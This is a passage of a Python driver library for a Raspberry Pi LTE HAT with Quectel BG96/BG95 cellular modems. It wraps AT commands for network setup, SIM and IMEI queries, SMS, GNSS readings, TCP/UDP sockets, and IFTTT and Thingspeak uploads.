self.sendATComm(self.compose,"OK\r\n") self.clear_compose() # Function for setting running mode. def setMode(self, mode): if(mode == self.AUTO_MODE): self.sendATComm("AT+QCFG=\"nwscanseq\",00,1","OK\r\n") self.sendATComm("AT+QCFG=\"nwscanmode\",0,1","OK\r\n") self.sendATComm("AT+QCFG=\"iotopmode\",2,1","OK\r\n") debug_print("Modem configuration : AUTO_MODE") debug_print("*Priority Table (Cat.M1 -> Cat.NB1 -> GSM)") elif(mode == self.GSM_MODE): self.sendATComm("AT+QCFG=\"nwscanseq\",01,1","OK\r\n") self.sendATComm("AT+QCFG=\"nwscanmode\",1,1","OK\r\n") self.sendATComm("AT+QCFG=\"iotopmode\",2,1","OK\r\n") debug_print("Modem configuration : GSM_MODE") elif(mode == self.CATM1_MODE): self.sendATComm("AT+QCFG=\"nwscanseq\",02,1","OK\r\n") self.sendATComm("AT+QCFG=\"nwscanmode\",3,1","OK\r\n") self.sendATComm("AT+QCFG=\"iotopmode\",0,1","OK\r\n") debug_print("Modem configuration : CATM1_MODE") elif(mode == self.CATNB1_MODE): self.sendATComm("AT+QCFG=\"nwscanseq\",03,1","OK\r\n") self.sendATComm("AT+QCFG=\"nwscanmode\",3,1","OK\r\n") self.sendATComm("AT+QCFG=\"iotopmode\",1,1","OK\r\n") debug_print("Modem configuration : CATNB1_MODE ( NB-IoT )") # Function for getting self.ip_address def getIPAddress(self): return self.ip_address # Function for setting self.ip_address def setIPAddress(self, ip): self.ip_address = ip # Function for getting self.domain_name def getDomainName(self): return self.domain_name # Function for setting domain name def setDomainName(self, domain): self.domain_name = domain # Function for getting port def getPort(self): return self.port_number # Function for setting port def setPort(self, port): self.port_number = port # Function for getting timout in ms def getTimeout(self): return self.timeout # Function for setting timeout in ms def setTimeout(self, new_timeout): self.timeout = new_timeout #****************************************************************************************** #*** SIM Related Functions **************************************************************** #****************************************************************************************** # Function returns Mobile Subscriber Identity(IMSI) def getIMSI(self): return self.sendATComm("AT+CIMI","OK\r\n") # Functions returns Integrated Circuit Card Identifier(ICCID) number of the SIM def getICCID(self): return self.sendATComm("AT+QCCID","OK\r\n") #****************************************************************************************** #*** Network Service Functions ************************************************************ #****************************************************************************************** # Fuction for getting signal quality def getSignalQuality(self): return self.sendATComm("AT+CSQ","OK\r\n") # Function for getting network information def getQueryNetworkInfo(self): return self.sendATComm("AT+QNWINFO","OK\r\n") # Function for connecting to base station of operator def connectToOperator(self): debug_print("Trying to connect base station of operator...") self.sendATComm("AT+CGATT?","+CGATT: 1\r\n") self.getSignalQuality() # Fuction to check the Network Registration Status def getNetworkRegStatus(self): return self.sendATComm("AT+CREG?","OK\r\n") # Function to check the Operator def getOperator(self): return self.sendATComm("AT+COPS?","OK\r\n") #****************************************************************************************** #*** SMS Functions ************************************************************************ #****************************************************************************************** # Function for sending SMS def sendSMS(self, number, text): self.sendATComm("AT+CMGF=1","OK\r\n") # text mode delay(500) self.compose = "AT+CMGS=\"" self.compose += str(number) self.compose += "\"" self.sendATComm(self.compose,">") delay(1000) self.clear_compose() delay(1000) self.sendATCommOnce(text) self.sendATComm(self.CTRL_Z,"OK",8) # with 8 seconds timeout #****************************************************************************************** #*** BG96 GNSS Functions ****************************************************************** #****************************************************************************************** # This API exposes basic GNSS data using AT commands. More advanced functionality # may be available through other interfaces. # BG96 GNSS output is in the format: # +QGPSLOC: <UTC>,<latitude>,<longitude>,<hdop>,<altitude>,<fix>,<cog>,<spkm>,<spkn>, # <date>,<nsat> # BG96 includes OPTIONAL power for an active antenna, controlled by GPIO64 of the modem. #****************************************************************************************** # Function for turning on GNSS (and enable active antenna if so equipped) def turnOnGNSS(self,active_ant = False): if(active_ant == True): #apply DC power to antenna (reference Nimbelink datasheet) self.sendATComm("AT+QCFG=\"gpio\",1,64,1,0,0,1","OK\r\n") self.sendATComm("AT+QCFG=\"gpio\",3,64,1,1","OK\r\n") self.sendATCommOnce("AT+QGPS=1") # Function for turning off GNSS (and turn off active antenna if so equipped) def turnOffGNSS(self,active_ant = False): if(active_ant == True): #remove DC power to antenna to save power (reference Nimbelink datasheet) self.sendATComm("AT+QCFG=\"gpio\",1,64,1,0,0,1","OK\r\n") self.sendATComm("AT+QCFG=\"gpio\",3,64,0,1","OK\r\n") self.sendATCommOnce("AT+QGPSEND") # Function for getting latitude def getLatitude(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return Decimal(self.response[1]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting longitude def getLongitude(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return Decimal(self.response[2]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting altitude in meters, accurate to one decimal place def getAltitudeM(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return Decimal(self.response[4]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting speed in MPH def getSpeedMph(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return round(Decimal(self.response[7])/Decimal('1.609344'), 1) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting speed in KPH def getSpeedKph(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return Decimal(self.response[7]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting a crude estimation of location accuracy in meters, based on GPGGA HDOP value. def getPositionAccuracyM(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() # The constant below is an estimate of the nominal accuracy of the device with HDOP=1.0 return round(Decimal(self.response[3])*Decimal('5.0'), 0) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting the total number of supported GNSS satellites in view. def getNumSatellites(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" self.nsat = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() # because this is the final item in the array, it includes a bunch of garbage after the value # <nsat> is always two characters 00 thru 12, trim everything else self.nsat = self.response[10] return self.nsat[0:2] if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting time from the GNSS satellite reciever, format is hhmmss.sss (UTC) def getGnssTime(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" self.time_string = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() # this is the zeroth item, so it includes the AT command response too. Remove it. self.time_string = self.response[0] self.time_string = self.time_string.replace("+QGPSLOC: ", "") return Decimal(self.time_string) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting date from the GNSS satellite reciever, format is ddmmyy (UTC) def getGnssDate(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return self.response[9] if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 #****************************************************************************************** #*** TCP & UDP Protocols Functions ******************************************************** #****************************************************************************************** # Function for configurating and activating TCP context def activateContext(self): self.sendATComm("AT+QICSGP=1","OK\r\n") delay(1000) self.sendATComm("AT+QIACT=1","\r\n") # Function for deactivating TCP context def deactivateContext(self): self.sendATComm("AT+QIDEACT=1","\r\n") # Function for connecting to server via TCP # just buffer access mode is supported for now. def connectToServerTCP(self): self.compose = "AT+QIOPEN=1,1" self.compose += ",\"TCP\",\"" self.compose += str(self.ip_address) self.compose += "\"," self.compose += str(self.port_number) self.compose += ",0,0" self.sendATComm(self.compose,"OK\r\n") self.clear_compose() self.sendATComm("AT+QISTATE=0,1","OK\r\n") # Fuction for sending data via tcp. # just buffer access mode is supported for now. def sendDataTCP(self, data): self.compose = "AT+QISEND=1," self.compose += str(len(data)) self.sendATComm(self.compose,">") self.sendATComm(data,"SEND OK") self.clear_compose() # Function for sending data to IFTTT def sendDataIFTTT(self, eventName, key, data): self.compose = "AT+QHTTPCFG=\"contextid\",1" self.sendATComm(self.compose,"OK") self.clear_compose() self.compose = "AT+QHTTPCFG=\"requestheader\",1" self.sendATComm(self.compose,"OK") self.clear_compose() self.compose = "AT+QHTTPCFG=\"self.responseheader\",1" self.sendATComm(self.compose,"OK") self.clear_compose() url = str("https://maker.ifttt.com/trigger/" + eventName + "/with/key/"+ key) self.compose = "AT+QHTTPURL=" self.compose += str(len(url)) self.compose += ",80" self.setTimeout(20) self.sendATComm(self.compose,"CONNECT") self.clear_compose() self.sendDataComm(url,"OK") payload = "POST /trigger/" + eventName + "/with/key/"+ key +" HTTP/1.1\r\nHost: maker.ifttt.com\r\nContent-Type: application/json\r\nContent-Length: "+str(len(data))+"\r\n\r\n" payload += data self.compose = "AT+QHTTPPOST=" self.compose += str(len(payload)) self.compose += ",60,60" self.sendATComm(self.compose,"CONNECT") self.clear_compose() self.sendDataComm(payload,"OK") delay(5000) self.sendATComm("AT+QHTTPREAD=80","+QHTTPREAD: 0") # Function for sending data to Thingspeak def sendDataThingspeak(self, key, data): self.compose = "AT+QHTTPCFG=\"contextid\",1" self.sendATComm(self.compose,"OK") self.clear_compose() self.compose = "AT+QHTTPCFG=\"requestheader\",0" self.sendATComm(self.compose,"OK") self.clear_compose() url = str("https://api.thingspeak.com/update?api_key=" + key + "&"+ data) self.compose = "AT+QHTTPURL=" self.compose += str(len(url)) self.compose += ",80" self.setTimeout(20) self.sendATComm(self.compose,"CONNECT") self.clear_compose() self.sendDataComm(url,"OK") delay(3000) self.sendATComm("AT+QHTTPGET=80","+QHTTPGET") # Function for connecting to server via UDP def startUDPService(self): port = "3005" self.compose = "AT+QIOPEN=1,1,\"UDP SERVICE\",\"" self.compose += str(self.ip_address) self.compose += "\",0," self.compose += str(port) self.compose += ",0" self.sendATComm(self.compose,"OK\r\n") self.clear_compose() self.sendATComm("AT+QISTATE=0,1","\r\n") # Fuction for sending data via udp. def sendDataUDP(self, data): self.compose = "AT+QISEND=1," self.compose += str(len(data)) self.compose += ",\"" self.compose += str(self.ip_address) self.compose += "\"," self.compose += str(self.port_number) self.sendATComm(self.compose,">") self.clear_compose() self.sendATComm(data,"SEND OK") # Function for closing server connection def closeConnection(self): self.sendATComm("AT+QICLOSE=1","\r\n") # Function for disconnecting (Deregistering) from the cell network and powering down gracefully using AT commands (preferred) def powerDownAT(self): self.sendATComm("ATE0","OK\r\n", 1000) # Deregister from the network (within 60 seconds and power down) # This command doesn't return until powerdown is complete, so no timer required self.sendATComm("AT+QPOWD=1","POWERED DOWN\r\n", 60000) # Function for disconnecting (Deregistering) from the cell network and powering down gracefully using On/off Line (Hardware) def powerDownHW(self): # pulse ON-OFF line for at least 650 mS to initiate a powerdown GPIO.output(self.MDM_ON_OFF,1) delay(800) GPIO.output(self.MDM_ON_OFF,0) debug_print("power down requested. NOTE: This can take up to 60 seconds to complete.") i = 0 while i < 60: # NOTE: getModemStatus returns 1 when modem is OFF if not self.getModemStatus(): debug_print("modem still on") i += 1 delay(1000) else: debug_print("modem powered down") return debug_print("power down timed out. Modem may be stuck.") #****************************************************************************************** #*** HAT Peripheral Functions ************************************************************* #****************************************************************************************** # Function for reading user button (active low) def readUserButton(self): return GPIO.input(self.USER_BUTTON_N) # Function for turning on user LED def turnOnUserLED(self): GPIO.output(self.USER_LED_N, 0) # Function for turning off user LED def turnOffUserLED(self): GPIO.output(self.USER_LED_N, 1) ########################################################################### ### Farm Jenny LTE BR HAT + Nimbelink NL-SW-LTE-QBG95 Modem Class ######### ########################################################################### class FarmJennyHatBg95: board = "" # shield name (LTE Border Router HAT with Quectel BG95-based Modem) ip_address = "" # ip address domain_name = "" # domain name port_number = "" # port number timeout = TIMEOUT # default timeout for function and methods on this library. response = "" # variable for modem self.responses compose = "" # variable for command self.composes USER_BUTTON_N = 22 # Low when button is pressed. There is a pullup on board. USER_LED_N = 27 # Low turns on LED2 (Green) MDM_PWR = 26 # High enables the power regulator for the cell modem MDM_STATUS_N = 23 # Low corresponds to LED4 (Blue) lit MDM_ON_OFF = 24 # set high momenarily, like pressing a power button MDM_RING = 25 # Pulses low for 120mS when URC is present. Open drain output with 1M pullup to 3.3V in modem. # Cellular Modes AUTO_MODE = 0 GSM_MODE = 1 CATM1_MODE = 2 CATNB1_MODE = 3 # LTE Bands LTE_B1 = "1" LTE_B2 = "2" LTE_B3 = "4" LTE_B4 = "8" LTE_B5 = "10" LTE_B8 = "80" LTE_B12 = "800" LTE_B13 = "1000" LTE_B18 = "20000" LTE_B19 = "40000" LTE_B20 = "80000" LTE_B26 = "2000000" LTE_B28 = "8000000" LTE_B39 = "4000000000" # catm1 only LTE_CATM1_ANY = "400A0E189F" LTE_CATNB1_ANY = "A0E189F" LTE_NO_CHANGE = "0" # GSM Bands GSM_NO_CHANGE = "0" GSM_900 = "1" GSM_1800 = "2" GSM_850 = "4" GSM_1900 = "8" GSM_ANY = "F" SCRAMBLE_ON = "0" SCRAMBLE_OFF = "1" # Special Characters CTRL_Z = '\x1A' # Initializer function def __init__(self, serial_port="/dev/ttyS0", serial_baudrate=115200, board="LTE Border Router HAT with BG95", rtscts=False, dsrdtr=False): self.board = board ser.port = serial_port ser.baudrate = serial_baudrate ser.parity=serial.PARITY_NONE ser.stopbits=serial.STOPBITS_ONE ser.bytesize=serial.EIGHTBITS ser.rtscts=rtscts ser.dsrdtr=dsrdtr debug_print(self.board + " Class initialized!") def setupGPIO(self): GPIO.setwarnings(False) GPIO.setmode(GPIO.BCM) GPIO.setup(self.MDM_PWR, GPIO.OUT) GPIO.setup(self.USER_BUTTON_N, GPIO.IN) GPIO.setup(self.USER_LED_N, GPIO.OUT) GPIO.setup(self.MDM_STATUS_N, GPIO.IN) GPIO.setup(self.MDM_ON_OFF, GPIO.OUT) GPIO.setup(self.MDM_RING, GPIO.IN) def __del__(self): # don't clear GPIO on exit or modem will turn off # self.clearGPIOs() pass # Function for clearing global compose variable def clear_compose(self): self.compose = "" # Function for clearing GPIO's setup def clearGPIOs(self): GPIO.cleanup() # Function for enabling power to the modem. Note: not all models will initialize automatically. def enable(self): GPIO.output(self.MDM_PWR,1) debug_print("Modem power enabled!") # Function for cutting power to the modem. Not advised during normal use as the modem will not disconnect properly. def disable(self): GPIO.output(self.MDM_PWR,0) debug_print("Modem power disabled!") # Function for powering up or down the modem using the on-off key def powerUp(self): GPIO.output(self.MDM_ON_OFF,1) while self.getModemStatus(): # loop until modem status goes low, indicating it has booted (LED 4, blue, lit) pass debug_print("modem powered up!") GPIO.output(self.MDM_ON_OFF,0) # Function for getting modem power status def getModemStatus(self): # Modem status pin state is undefined if modem VCC is not powered. Return 1 if modem is disabled. if not GPIO.input(self.MDM_PWR): return 1 else: return GPIO.input(self.MDM_STATUS_N) # Function for getting modem response def getResponse(self, desired_response): if (ser.isOpen() == False): ser.open() while 1: self.response ="" while(ser.inWaiting()): self.response += ser.read(ser.inWaiting()).decode('utf-8', errors='ignore') if(self.response.find(desired_response) != -1): debug_print(self.response) break # Function for sending data to module def sendDataCommOnce(self, command): if (ser.isOpen() == False): ser.open() self.compose = "" self.compose = str(command) ser.reset_input_buffer() ser.write(self.compose.encode()) debug_print(self.compose) # Function for sending at comamand to module def sendATCommOnce(self, command): if (ser.isOpen() == False): ser.open() self.compose = "" self.compose = str(command) + "\r" ser.reset_input_buffer() ser.write(self.compose.encode()) #debug_print(self.compose) # Function for sending data to AT. def sendDataComm(self, command, desired_response, timeout = None): if timeout is None: timeout = self.timeout self.sendDataCommOnce(command) timer = millis() while 1: if(millis() - timer > timeout): self.sendDataCommOnce(command) timer = millis() self.response = "" while(ser.inWaiting()): self.response += ser.read(ser.inWaiting()).decode('utf-8', errors='ignore') if(self.response.find(desired_response) != -1): debug_print(self.response) break # Function for sending at command to AT. def sendATComm(self, command, desired_response, timeout = None): if timeout is None: timeout = self.timeout self.sendATCommOnce(command) #f_debug = False timer = millis() while 1: if( millis() - timer > timeout): self.sendATCommOnce(command) timer = millis() #f_debug = False self.response ="" while(ser.inWaiting()): try: self.response += ser.read(ser.inWaiting()).decode('utf-8', errors='ignore') delay(100) except Exception as e: debug_print(e) # debug_print(self.response) if(self.response.find(desired_response) != -1): debug_print(self.response) return self.response # returns the response of the command as string. # Function for saving conf. and reset the modem def resetModule(self): self.saveConfigurations() delay(200) self.disable() delay(200) self.enable() # Function for save configurations that be done in current session. def saveConfigurations(self): self.sendATComm("AT&W","OK\r\n") # Function for getting IMEI number def getIMEI(self): return self.sendATComm("AT+CGSN","OK\r\n") # Identical command: AT+GSN # Function for getting firmware info def getFirmwareInfo(self): return self.sendATComm("AT+CGMR","OK\r\n") # Identical command: AT+GMR # Function for getting hardware info def getHardwareInfo(self): return self.sendATComm("AT+CGMM","OK\r\n") # Identical command: AT+GMM # Function returning Manufacturer Identification def getManufacturerInfo(self): return self.sendATComm("AT+CGMI","OK\r\n") # Identical command: AT+GMI # Function for setting GSM Band def setGSMBand(self, gsm_band): self.compose = "AT+QCFG=\"band\"," self.compose += str(gsm_band) self.compose += "," self.compose += str(self.LTE_NO_CHANGE) self.compose += "," self.compose += str(self.LTE_NO_CHANGE) self.sendATComm(self.compose,"OK\r\n") self.clear_compose() # Function for setting Cat.M1 Band def setCATM1Band(self, catm1_band): self.compose = "AT+QCFG=\"band\"," self.compose += str(self.GSM_NO_CHANGE) self.compose += "," self.compose += str(catm1_band) self.compose += "," self.compose += str(self.LTE_NO_CHANGE) self.sendATComm(self.compose,"OK\r\n") self.clear_compose() # Function for setting NB-IoT Band def setNBIoTBand(self, nbiot_band): self.compose = "AT+QCFG=\"band\"," self.compose += str(self.GSM_NO_CHANGE) self.compose += "," self.compose += str(self.LTE_NO_CHANGE) self.compose += "," self.compose += str(nbiot_band) self.sendATComm(self.compose,"OK\r\n") self.clear_compose() # Function for getting current band settings def getBandConfiguration(self): return self.sendATComm("AT+QCFG=\"band\"","OK\r\n") # Function for setting scramble feature configuration def setScrambleConf(self, scramble): self.compose = "AT+QCFG=\"nbsibscramble\"," self.compose += scramble self.sendATComm(self.compose,"OK\r\n") self.clear_compose() # Function for setting running mode. def setMode(self, mode): if(mode == self.AUTO_MODE): self.sendATComm("AT+QCFG=\"nwscanseq\",00,1","OK\r\n") self.sendATComm("AT+QCFG=\"nwscanmode\",0,1","OK\r\n") self.sendATComm("AT+QCFG=\"iotopmode\",2,1","OK\r\n") debug_print("Modem configuration : AUTO_MODE") debug_print("*Priority Table (Cat.M1 -> Cat.NB1 -> GSM)") elif(mode == self.GSM_MODE): self.sendATComm("AT+QCFG=\"nwscanseq\",01,1","OK\r\n") self.sendATComm("AT+QCFG=\"nwscanmode\",1,1","OK\r\n") self.sendATComm("AT+QCFG=\"iotopmode\",2,1","OK\r\n") debug_print("Modem configuration : GSM_MODE") elif(mode == self.CATM1_MODE): self.sendATComm("AT+QCFG=\"nwscanseq\",02,1","OK\r\n") self.sendATComm("AT+QCFG=\"nwscanmode\",3,1","OK\r\n") self.sendATComm("AT+QCFG=\"iotopmode\",0,1","OK\r\n") debug_print("Modem configuration : CATM1_MODE") elif(mode == self.CATNB1_MODE): self.sendATComm("AT+QCFG=\"nwscanseq\",03,1","OK\r\n") self.sendATComm("AT+QCFG=\"nwscanmode\",3,1","OK\r\n") self.sendATComm("AT+QCFG=\"iotopmode\",1,1","OK\r\n") debug_print("Modem configuration : CATNB1_MODE ( NB-IoT )") # Function for getting self.ip_address def getIPAddress(self): return self.ip_address # Function for setting self.ip_address def setIPAddress(self, ip): self.ip_address = ip # Function for getting self.domain_name def getDomainName(self): return self.domain_name # Function for setting domain name def setDomainName(self, domain): self.domain_name = domain # Function for getting port def getPort(self): return self.port_number # Function for setting port def setPort(self, port): self.port_number = port # Function for getting timout in ms def getTimeout(self): return self.timeout # Function for setting timeout in ms def setTimeout(self, new_timeout): self.timeout = new_timeout #****************************************************************************************** #*** SIM Related Functions **************************************************************** #****************************************************************************************** # Function returns Mobile Subscriber Identity(IMSI) def getIMSI(self): return self.sendATComm("AT+CIMI","OK\r\n") # Functions returns Integrated Circuit Card Identifier(ICCID) number of the SIM def getICCID(self): return self.sendATComm("AT+QCCID","OK\r\n") #****************************************************************************************** #*** Network Service Functions ************************************************************ #****************************************************************************************** # Fuction for getting signal quality def getSignalQuality(self): return self.sendATComm("AT+CSQ","OK\r\n") # Function for getting network information def getQueryNetworkInfo(self): return self.sendATComm("AT+QNWINFO","OK\r\n") # Function for connecting to base station of operator def connectToOperator(self): debug_print("Trying to connect base station of operator...") self.sendATComm("AT+CGATT?","+CGATT: 1\r\n") self.getSignalQuality() # Fuction to check the Network Registration Status def getNetworkRegStatus(self): return self.sendATComm("AT+CREG?","OK\r\n") # Function to check the Operator def getOperator(self): return self.sendATComm("AT+COPS?","OK\r\n") #****************************************************************************************** #*** SMS Functions ************************************************************************ #****************************************************************************************** # Function for sending SMS def sendSMS(self, number, text): self.sendATComm("AT+CMGF=1","OK\r\n") # text mode delay(500) self.compose = "AT+CMGS=\"" self.compose += str(number) self.compose += "\"" self.sendATComm(self.compose,">") delay(1000) self.clear_compose() delay(1000) self.sendATCommOnce(text) self.sendATComm(self.CTRL_Z,"OK",8) # with 8 seconds timeout #****************************************************************************************** #*** BG95 GNSS Functions ****************************************************************** #****************************************************************************************** # This API exposes basic GNSS data using AT commands. More advanced functionality # may be available through other interfaces. # BG95 GNSS output is in the format: # +QGPSLOC: <UTC>,<latitude>,<longitude>,<hdop>,<altitude>,<fix>,<cog>,<spkm>,<spkn>, # <date>,<nsat> # BG95 includes OPTIONAL power for an active antenna, controlled by GPIO64 of the modem. #****************************************************************************************** # Function for turning on GNSS (and enable active antenna if so equipped) def turnOnGNSS(self,active_ant = False): if(active_ant == True): #apply DC power to antenna (reference Nimbelink datasheet) self.sendATComm("AT+QCFG=\"gpio\",1,64,1,0,0,1","OK\r\n") self.sendATComm("AT+QCFG=\"gpio\",3,64,1,1","OK\r\n") self.sendATCommOnce("AT+QGPS=1") # Function for turning off GNSS (and turn off active antenna if so equipped) def turnOffGNSS(self,active_ant = False): if(active_ant == True): #remove DC power to antenna to save power (reference Nimbelink datasheet) self.sendATComm("AT+QCFG=\"gpio\",1,64,1,0,0,1","OK\r\n") self.sendATComm("AT+QCFG=\"gpio\",3,64,0,1","OK\r\n") self.sendATCommOnce("AT+QGPSEND") # Function for getting latitude def getLatitude(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return Decimal(self.response[1]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting longitude def getLongitude(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return Decimal(self.response[2]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting altitude in meters, accurate to one decimal place def getAltitudeM(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return Decimal(self.response[4]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting speed in MPH def getSpeedMph(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return round(Decimal(self.response[7])/Decimal('1.609344'), 1) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting speed in KPH def getSpeedKph(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return Decimal(self.response[7]) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting a crude estimation of location accuracy in meters, based on GPGGA HDOP value. def getPositionAccuracyM(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() # The constant below is an estimate of the nominal accuracy of the device with HDOP=1.0 return round(Decimal(self.response[3])*Decimal('5.0'), 0) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting the total number of supported GNSS satellites in view. def getNumSatellites(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" self.nsat = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() # because this is the final item in the array, it includes a bunch of garbage after the value # <nsat> is always two characters 00 thru 12, trim everything else self.nsat = self.response[10] return self.nsat[0:2] if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting time from the GNSS satellite reciever, format is hhmmss.sss (UTC) def getGnssTime(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" self.time_string = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() # this is the zeroth item, so it includes the AT command response too. Remove it. self.time_string = self.response[0] self.time_string = self.time_string.replace("+QGPSLOC: ", "") return Decimal(self.time_string) if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 # Function for getting date from the GNSS satellite reciever, format is ddmmyy (UTC) def getGnssDate(self): self.sendATCommOnce("AT+QGPSLOC=2") while 1: self.response = "" while(ser.inWaiting()): self.response += ser.readline().decode('utf-8') if( self.response.find("+QGPSLOC: ") != -1 and self.response.find("OK") != -1 ): self.response = self.response.split(",") ser.close() return self.response[9] if(self.response.find("\r\n") != -1 and self.response.find("ERROR") != -1 ): debug_print(self.response) ser.close() return 0 #****************************************************************************************** #*** TCP & UDP Protocols Functions ******************************************************** #****************************************************************************************** # Function for configurating and activating TCP context def activateContext(self): self.sendATComm("AT+QICSGP=1","OK\r\n") delay(1000) self.sendATComm("AT+QIACT=1","\r\n") # Function for deactivating TCP context def deactivateContext(self): self.sendATComm("AT+QIDEACT=1","\r\n") # Function for connecting to server via TCP # just buffer access mode is supported for now. def connectToServerTCP(self): self.compose = "AT+QIOPEN=1,1" self.compose += ",\"TCP\",\"" self.compose += str(self.ip_address) self.compose += "\"," self.compose += str(self.port_number) self.compose += ",0,0" self.sendATComm(self.compose,"OK\r\n") self.clear_compose() self.sendATComm("AT+QISTATE=0,1","OK\r\n") # Fuction for sending data via tcp. # just buffer access mode is supported for now. def sendDataTCP(self, data): self.compose = "AT+QISEND=1," self.compose += str(len(data)) self.sendATComm(self.compose,">") self.sendATComm(data,"SEND OK") self.clear_compose() # Function for sending data to IFTTT def sendDataIFTTT(self, eventName, key, data): self.compose = "AT+QHTTPCFG=\"contextid\",1" self.sendATComm(self.compose,"OK") self.clear_compose() self.compose = "AT+QHTTPCFG=\"requestheader\",1" self.sendATComm(self.compose,"OK") self.clear_compose() self.compose = "AT+QHTTPCFG=\"self.responseheader\",1" self.sendATComm(self.compose,"OK") self.clear_compose() url = str("https://maker.ifttt.com/trigger/" + eventName + "/with/key/"+ key) self.compose = "AT+QHTTPURL=" self.compose += str(len(url)) self.compose += ",80" self.setTimeout(20) self.sendATComm(self.compose,"CONNECT") self.clear_compose() self.sendDataComm(url,"OK") payload = "POST /trigger/" + eventName + 